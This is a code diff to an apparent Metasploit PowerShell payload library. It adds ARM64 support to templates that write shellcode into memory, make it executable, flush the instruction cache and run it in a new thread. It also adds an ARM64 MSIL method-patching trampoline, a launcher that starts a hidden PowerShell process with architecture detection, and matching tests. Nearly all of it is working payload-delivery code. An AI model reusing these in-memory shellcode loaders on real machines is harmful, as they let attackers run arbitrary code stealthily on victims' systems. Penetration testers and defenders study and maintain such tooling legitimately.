diff --git a/data/templates/to_mem_dotnet.ps1.template b/data/templates/to_mem_dotnet.ps1.template
index c17496e..16bff61 100644
--- a/data/templates/to_mem_dotnet.ps1.template
+++ b/data/templates/to_mem_dotnet.ps1.template
@@ -9,6 +9,7 @@ $%{var_syscode} = @"
 			[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
 			[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
 			[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
+			[DllImport("kernel32.dll")] public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
 			[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
 			[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
 		}
@@ -29,6 +30,7 @@ if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
 [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
 
 if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
+	[%{var_kernel32}.func]::FlushInstructionCache([IntPtr](-1), $%{var_baseaddr}, [UIntPtr]($%{var_code}.Length + 1)) | Out-Null
 	[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
 	if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
 	$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
diff --git a/data/templates/to_mem_msil.ps1.template b/data/templates/to_mem_msil.ps1.template
index 45ce487..77260e0 100644
--- a/data/templates/to_mem_msil.ps1.template
+++ b/data/templates/to_mem_msil.ps1.template
@@ -46,9 +46,18 @@ $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Xor)
 $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Ret)
 $%{var_tgt_meth} = ($%{var_dyn_type}.CreateType()).GetMethod('%{str_tgt_meth}')
 
+if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
+  $%{var_flush_type} = %{func_build_dyn_type}('%{str_flush_type}')
+  $%{var_flush_method} = $%{var_flush_type}.DefinePInvokeMethod('%{str_flush_method}', 'kernel32.dll', 'FlushInstructionCache', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static -bOr [System.Reflection.MethodAttributes]::PinvokeImpl, [System.Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UIntPtr]), [System.Runtime.InteropServices.CallingConvention]::Winapi, [System.Runtime.InteropServices.CharSet]::Auto)
+  $%{var_flush_method}.SetImplementationFlags($%{var_flush_method}.GetMethodImplementationFlags() -bOr [System.Reflection.MethodImplAttributes]::PreserveSig)
+  $%{var_flush_method} = ($%{var_flush_type}.CreateType()).GetMethod('%{str_flush_method}')
+}
+
 foreach ($Exec in 1..20) { $%{var_tgt_meth}.Invoke($null, @(0x11112222)) | Out-Null }
 
-if ( [IntPtr]::Size -eq 4 ) {
+if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
+  $%{var_sc} = [Byte[]] @(0xF3,0x53,0xBA,0xA9,0xF5,0x5B,0x01,0xA9,0xF7,0x63,0x02,0xA9,0xF9,0x6B,0x03,0xA9,0xFB,0x73,0x04,0xA9,0xFD,0x7B,0x05,0xA9,0x09,0x00,0x00,0x94,0xFD,0x7B,0x45,0xA9,0xFB,0x73,0x44,0xA9,0xF9,0x6B,0x43,0xA9,0xF7,0x63,0x42,0xA9,0xF5,0x5B,0x41,0xA9,0xF3,0x53,0xC6,0xA8,0x00,0x00,0x80,0xD2,0xC0,0x03,0x5F,0xD6)
+} elseif ( [IntPtr]::Size -eq 4 ) {
   $%{var_sc} = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
 } else {
   $%{var_sc} = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,0x31,0xC0,0xC3)
@@ -58,10 +67,14 @@ $%{var_sc_addr} = [Runtime.InteropServices.Marshal]::AllocHGlobal($%{var_sc}.Len
 [Runtime.InteropServices.Marshal]::Copy($%{var_sc}, 0, $%{var_sc_addr}, $%{var_sc}.Length)
 
 $%{var_args} = New-Object Object[](3)
-$%{var_args}[0] = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
+$%{var_tgt_addr} = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
+$%{var_args}[0] = $%{var_tgt_addr}
 $%{var_args}[1] = $%{var_sc_addr}
 $%{var_args}[2] = $%{var_sc}.Length
 
 $%{var_src_meth}.Invoke($null, $%{var_args})
+if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
+  $%{var_flush_method}.Invoke($null, @([IntPtr](-1), $%{var_tgt_addr}, [UIntPtr]$%{var_sc}.Length)) | Out-Null
+}
 
 $%{var_tgt_meth}.Invoke($null, @(0x11112222))
diff --git a/data/templates/to_mem_old.ps1.template b/data/templates/to_mem_old.ps1.template
index 9d524f5..65a75b6 100644
--- a/data/templates/to_mem_old.ps1.template
+++ b/data/templates/to_mem_old.ps1.template
@@ -2,6 +2,8 @@ $%{var_syscode} = @"
 [DllImport("kernel32.dll")]
 public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
 [DllImport("kernel32.dll")]
+public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
+[DllImport("kernel32.dll")]
 public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
 "@
 
@@ -13,4 +15,6 @@ $%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length
 
 [System.Runtime.InteropServices.Marshal]::Copy($%{var_code},0,$%{var_rwx},$%{var_code}.Length)
 
+$%{var_win32_func}::FlushInstructionCache([IntPtr](-1),$%{var_rwx},[UIntPtr]$%{var_code}.Length) | Out-Null
+
 $%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
diff --git a/data/templates/to_mem_pshreflection.ps1.template b/data/templates/to_mem_pshreflection.ps1.template
index 749a254..e8c2ce7 100644
--- a/data/templates/to_mem_pshreflection.ps1.template
+++ b/data/templates/to_mem_pshreflection.ps1.template
@@ -24,6 +24,7 @@ $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctio
 
 [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
 if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
-        $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
+	[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll FlushInstructionCache), (%{func_get_delegate_type} @([IntPtr], [IntPtr], [UIntPtr]) ([Bool]))).Invoke([IntPtr](-1), $%{var_buffer}, [UIntPtr]$%{var_code}.Length) | Out-Null
+	$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
         [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
 }
diff --git a/lib/rex/powershell/command.rb b/lib/rex/powershell/command.rb
index 0e9bffa..7e23fd9 100644
--- a/lib/rex/powershell/command.rb
+++ b/lib/rex/powershell/command.rb
@@ -208,8 +208,14 @@ def self.generate_psh_args(opts)
   # detect the execution environment and spawn the appropriate
   # powershell executable for the payload architecture.
   #
+  # ARM64 note: [IntPtr]::Size cannot tell an ARM64 process apart from an x64
+  # one, so PROCESSOR_ARCHITECTURE (and PROCESSOR_ARCHITEW6432 for a 32-bit
+  # process on Windows-on-ARM) is consulted first. A payload_arch of
+  # 'aarch64' targets the native ARM64 powershell.exe under System32
+  # (reached via sysnative when the current process is 32-bit).
+  #
   # @param ps_code [String] Powershell code
-  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
+  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
   # @param encoded [Boolean] Indicates whether ps_code is encoded or not
   # @param opts [Hash] The options for generate_psh_args
   #
@@ -240,20 +246,51 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
 EOS
     process_start_info.gsub!("\n", ';')
 
-    archictecure_detection = <<EOS
-if([IntPtr]::Size -eq 4){
-#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
+    # Path helpers keep the emitted PowerShell readable and single-quoted so no
+    # further escaping is required at the target.
+    native_ps      = "$b='powershell.exe'"
+    syswow64_ps    = "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'"
+    sysnative_ps   = "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"
+
+    # On Windows-on-ARM the native host is the ARM64 powershell.exe; the
+    # 32-bit x86 host still lives under SysWOW64. When we're already inside a
+    # 32-bit process on WoA, PROCESSOR_ARCHITECTURE reports 'x86' and
+    # PROCESSOR_ARCHITEW6432 reports 'ARM64', so we escape to native via
+    # sysnative. x86_64 payloads on WoA fall through to native and rely on
+    # the OS x64 emulator, which is best-effort.
+    arm64_native_branch = case payload_arch
+                          when 'aarch64' then native_ps
+                          when 'x86'     then syswow64_ps
+                          else                native_ps
+                          end
+
+    arm64_wow64_branch  = case payload_arch
+                          when 'aarch64' then sysnative_ps
+                          when 'x86'     then native_ps
+                          else                sysnative_ps
+                          end
+
+    intptr4_branch      = payload_arch == 'x86' ? native_ps : sysnative_ps
+    intptr8_branch      = payload_arch == 'x86' ? syswow64_ps : native_ps
+
+    architecture_detection = <<EOS
+if($env:PROCESSOR_ARCHITECTURE -eq 'ARM64'){
+#{arm64_native_branch}
+}elseif($env:PROCESSOR_ARCHITEW6432 -eq 'ARM64'){
+#{arm64_wow64_branch}
+}elseif([IntPtr]::Size -eq 4){
+#{intptr4_branch}
 }else{
-#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
+#{intptr8_branch}
 };
 EOS
 
-    archictecure_detection.gsub!("\n", '')
+    architecture_detection.gsub!("\n", '')
 
     if opts[:no_arch_detect]
       return   "$b='powershell.exe';#{process_start_info}"
     else
-      archictecure_detection + process_start_info
+      architecture_detection + process_start_info
     end
   end
 
@@ -264,7 +301,7 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
   # run_hidden_psh, generate_psh_command_line and generate_psh_args
   #
   # @param pay [String] The payload shellcode
-  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
+  # @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
   # @param opts [Hash] The options to generate the command
   # @option opts [Boolean] :persist Loop the payload to cause
   #   re-execution if the shellcode finishes
@@ -277,7 +314,7 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
   # @option opts [Integer] :prepend_sleep Sleep for the specified time
   #   before executing the payload
   # @option opts [String] :method The powershell injection technique to
-  #   use: 'net'/'reflection'/'old'
+  #   use: 'net'/'reflection'/'old'/'msil'
   # @option opts [Boolean] :encode_inner_payload Encodes the powershell
   #   script within the hidden/architecture detection wrapper
   # @option opts [Boolean] :encode_final_payload Encodes the final
diff --git a/lib/rex/powershell/payload.rb b/lib/rex/powershell/payload.rb
index 21bb23d..f239584 100644
--- a/lib/rex/powershell/payload.rb
+++ b/lib/rex/powershell/payload.rb
@@ -95,10 +95,15 @@ def self.to_win32pe_psh_msil(template_path = TEMPLATE_DIR, code)
     rig.init_var(:var_sc_addr)
     rig.init_var(:var_sc)
     rig.init_var(:var_src_meth)
+    rig.init_var(:var_tgt_addr)
+    rig.init_var(:var_flush_type)
+    rig.init_var(:var_flush_method)
     rig.init_var(:str_addr_loc)
     rig.init_var(:str_tgt_meth)
     rig.init_var(:str_src_type)
     rig.init_var(:str_tgt_type)
+    rig.init_var(:str_flush_type)
+    rig.init_var(:str_flush_method)
 
     hash_sub = rig.to_h
     hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
diff --git a/lib/rex/powershell/version.rb b/lib/rex/powershell/version.rb
index f93e5d5..d6abc7d 100644
--- a/lib/rex/powershell/version.rb
+++ b/lib/rex/powershell/version.rb
@@ -1,5 +1,5 @@
 module Rex
   module Powershell
-    VERSION = "0.1.104"
+    VERSION = "0.1.105"
   end
 end
diff --git a/spec/rex/powershell/command_spec.rb b/spec/rex/powershell/command_spec.rb
index 5b7c5e7..869e6c3 100644
--- a/spec/rex/powershell/command_spec.rb
+++ b/spec/rex/powershell/command_spec.rb
@@ -129,6 +129,39 @@ def decompress(code)
       end
     end
 
+    context 'when aarch64 payload' do
+      let(:code) { subject.run_hidden_psh(payload, 'aarch64', encoded) }
+
+      it 'branches on PROCESSOR_ARCHITECTURE (ARM64) instead of [IntPtr]::Size' do
+        expect(code).to include("$env:PROCESSOR_ARCHITECTURE -eq 'ARM64'")
+        expect(code).to include("$env:PROCESSOR_ARCHITEW6432 -eq 'ARM64'")
+      end
+
+      it 'targets the native powershell.exe on a native ARM64 host' do
+        arm64_branch = code[/PROCESSOR_ARCHITECTURE -eq 'ARM64'\)\{([^}]*)\}/, 1]
+        expect(arm64_branch).to include("$b='powershell.exe'")
+      end
+
+      it 'escapes WOW64 filesystem redirection via sysnative when running 32-bit on WoA' do
+        wow64_branch = code[/PROCESSOR_ARCHITEW6432 -eq 'ARM64'\)\{([^}]*)\}/, 1]
+        expect(wow64_branch).to include('sysnative')
+      end
+    end
+
+    context 'when x86 payload on a WoA host' do
+      let(:code) { subject.run_hidden_psh(payload, 'x86', encoded) }
+
+      it 'still routes 32-bit payloads through SysWOW64 on native ARM64 hosts' do
+        arm64_branch = code[/PROCESSOR_ARCHITECTURE -eq 'ARM64'\)\{([^}]*)\}/, 1]
+        expect(arm64_branch).to include('syswow64')
+      end
+
+      it 'keeps the current process when already 32-bit on WoA' do
+        wow64_branch = code[/PROCESSOR_ARCHITEW6432 -eq 'ARM64'\)\{([^}]*)\}/, 1]
+        expect(wow64_branch).to include("$b='powershell.exe'")
+      end
+    end
+
     context 'when encoded' do
       it 'should generate a code including an encoded command' do
         code = subject.run_hidden_psh(payload, arch, true)
@@ -235,6 +268,11 @@ def decompress(code)
         code = subject.cmd_psh_payload(payload, arch, template_path, method: 'msil')
         expect(decompress(code).include?('System.Reflection.MethodInfo')).to be_truthy
       end
+
+      it 'generates a command line for an aarch64 payload' do
+        code = subject.cmd_psh_payload(payload, 'aarch64', template_path, method: 'msil')
+        expect(decompress(code)).to include("$env:PROCESSOR_ARCHITECTURE -eq 'ARM64'")
+      end
     end
 
     context 'when method is unknown' do
@@ -401,4 +439,3 @@ def decompress(code)
   end
 
 end
-
diff --git a/spec/rex/powershell/payload_spec.rb b/spec/rex/powershell/payload_spec.rb
new file mode 100644
index 0000000..6abccbb
--- /dev/null
+++ b/spec/rex/powershell/payload_spec.rb
@@ -0,0 +1,66 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+RSpec.describe Rex::Powershell::Payload do
+  let(:payload) { Rex::Text.rand_text_alpha(120) }
+  let(:template_path) { File.expand_path('../../../data/templates', __dir__) }
+
+  describe 'shellcode templates' do
+    {
+      dotnet: :to_win32pe_psh_net,
+      reflection: :to_win32pe_psh_reflection,
+      old: :to_win32pe_psh
+    }.each do |name, method|
+      it "flushes the instruction cache before executing the #{name} payload" do
+        script = described_class.public_send(method, template_path, payload)
+        copy_index = script.index('[System.Runtime.InteropServices.Marshal]::Copy')
+        flush_index = script.rindex('FlushInstructionCache')
+        execute_index = script.rindex('CreateThread')
+
+        expect(copy_index).to be < flush_index
+        expect(flush_index).to be < execute_index
+      end
+    end
+
+    it 'uses an aarch64 trampoline and flushes the patched MSIL method' do
+      script = described_class.to_win32pe_psh_msil(template_path, payload)
+      flush_method = script[/^\s*(\$\w+) = \$\w+\.DefinePInvokeMethod/m, 1]
+      trampoline = script[/PROCESSOR_ARCHITECTURE -eq 'ARM64'\) \{\s+\$\w+ = \[Byte\[\]\] @\(([^)]*)\)/, 1]
+      trampoline_bytes = trampoline.split(',').map { |byte| Integer(byte, 0) }
+      expected_trampoline = [
+        0xf3, 0x53, 0xba, 0xa9, # stp x19, x20, [sp, #-96]!
+        0xf5, 0x5b, 0x01, 0xa9, # stp x21, x22, [sp, #16]
+        0xf7, 0x63, 0x02, 0xa9, # stp x23, x24, [sp, #32]
+        0xf9, 0x6b, 0x03, 0xa9, # stp x25, x26, [sp, #48]
+        0xfb, 0x73, 0x04, 0xa9, # stp x27, x28, [sp, #64]
+        0xfd, 0x7b, 0x05, 0xa9, # stp x29, x30, [sp, #80]
+        0x09, 0x00, 0x00, 0x94, # bl payload
+        0xfd, 0x7b, 0x45, 0xa9, # ldp x29, x30, [sp, #80]
+        0xfb, 0x73, 0x44, 0xa9, # ldp x27, x28, [sp, #64]
+        0xf9, 0x6b, 0x43, 0xa9, # ldp x25, x26, [sp, #48]
+        0xf7, 0x63, 0x42, 0xa9, # ldp x23, x24, [sp, #32]
+        0xf5, 0x5b, 0x41, 0xa9, # ldp x21, x22, [sp, #16]
+        0xf3, 0x53, 0xc6, 0xa8, # ldp x19, x20, [sp], #96
+        0x00, 0x00, 0x80, 0xd2, # mov x0, #0
+        0xc0, 0x03, 0x5f, 0xd6  # ret
+      ]
+
+      expect(trampoline_bytes).to eq(expected_trampoline)
+      expect(script).to include("'kernel32.dll', 'FlushInstructionCache'")
+      expect(flush_method).not_to be_nil
+      expect(script.index("#{flush_method}.Invoke")).to be < script.rindex('.Invoke($null, @(0x11112222))')
+    end
+
+    it 'only defines and invokes the MSIL cache flush on ARM64' do
+      script = described_class.to_win32pe_psh_msil(template_path, payload)
+      arm64_block_pattern = /if \(\$env:PROCESSOR_ARCHITECTURE -eq 'ARM64'\) \{([^}]+)\}/m
+      arm64_blocks = script.scan(arm64_block_pattern).flatten
+      non_arm64_code = script.gsub(arm64_block_pattern, '')
+
+      expect(arm64_blocks.any? { |block| block.include?('DefinePInvokeMethod') }).to be(true)
+      expect(arm64_blocks.any? { |block| block.include?('[IntPtr](-1)') }).to be(true)
+      expect(non_arm64_code).not_to include('DefinePInvokeMethod')
+      expect(non_arm64_code).not_to include('[IntPtr](-1)')
+    end
+  end
+end